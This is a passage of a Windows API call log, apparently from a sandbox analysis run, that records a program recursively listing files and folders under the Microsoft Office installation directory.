	[0165.073] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1816e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hive.xsl", cAlternateFileName="")) returned 1
	[0165.074] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2afef8f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b27, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Informix.xsl", cAlternateFileName="")) returned 1
	[0165.074] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7339, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msjet.xsl", cAlternateFileName="")) returned 1
	[0165.074] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2afef8f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a2a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="orcl7.xsl", cAlternateFileName="")) returned 1
	[0165.074] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2afef8f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x858c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1
	[0165.074] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e02, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sql70.xsl", cAlternateFileName="")) returned 1
	[0165.074] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18559, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sql90.xsl", cAlternateFileName="")) returned 1
	[0165.074] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0882a6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0882a6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0882a6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1393e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqlpdw.xsl", cAlternateFileName="")) returned 1
	[0165.074] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x76a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1
	[0165.074] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="trdtv2r41.xsl", cAlternateFileName="TRDTV2~1.XSL")) returned 1
	[0165.075] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="trdtv2r41.xsl", cAlternateFileName="TRDTV2~1.XSL")) returned 0
	[0165.075] FindClose (in: hFindFile=0x4140ed8 | out: hFindFile=0x4140ed8) returned 1
	[0165.075] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0165.075] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128848, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1
	[0165.076] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2d25b938, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2771c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1
	[0165.076] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa5ff4c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa5ff4c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa8619f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6d4290, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1
	[0165.076] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ba84052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x735cf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap110.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1
	[0165.076] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2ba5ddea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44718, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui110.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1
	[0165.076] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0165.076] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4282998
	[0165.076] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\*", lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140c18
	[0165.077] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0165.077] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0165.077] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42929a0
	[0165.077] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\*", lpFindFileData=0x310e420 | out: lpFindFileData=0x310e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41409d8
	[0165.077] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310e420 | out: lpFindFileData=0x310e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0165.077] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310e420 | out: lpFindFileData=0x310e420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x113870, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1
	[0165.077] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310e420 | out: lpFindFileData=0x310e420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3143659, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca99edb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1126d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrvi.rll", cAlternateFileName="")) returned 1
	[0165.077] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310e420 | out: lpFindFileData=0x310e420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3728, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui110.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1
	[0165.077] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310e420 | out: lpFindFileData=0x310e420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3728, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui110.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0
	[0165.078] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0165.078] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0165.078] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0165.078] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0165.078] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0165.078] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e91324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e91324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1
	[0165.078] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2f5c0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2f5c0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d19cde8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e106f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmsrv.dll", cAlternateFileName="")) returned 1
	[0165.078] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2f5c0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2f5c0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d19cde8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e106f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmsrv.dll", cAlternateFileName="")) returned 0
	[0165.078] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0165.078] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0165.078] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0165.078] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0165.078] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0165.078] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0
	[0165.078] FindClose (in: hFindFile=0x4140dd8 | out: hFindFile=0x4140dd8) returned 1
	[0165.078] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0165.080] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f517e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1
	[0165.080] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4110050
	[0165.081] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\*", lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f517e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140ad8
	[0165.081] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f517e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0165.081] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 1
	[0165.081] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0165.081] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\*", lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x41409d8
	[0165.082] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0165.082] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43957d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca99edb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e1424f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0165.082] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0165.083] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43957d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca99edb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e1424f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140d98
	[0165.084] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43957d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca99edb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e1424f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0165.084] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45d3b76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45d3b76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3058, dwReserved0=0x0, dwReserved1=0x0, cFileName="BHOINTL.DLL", cAlternateFileName="")) returned 1
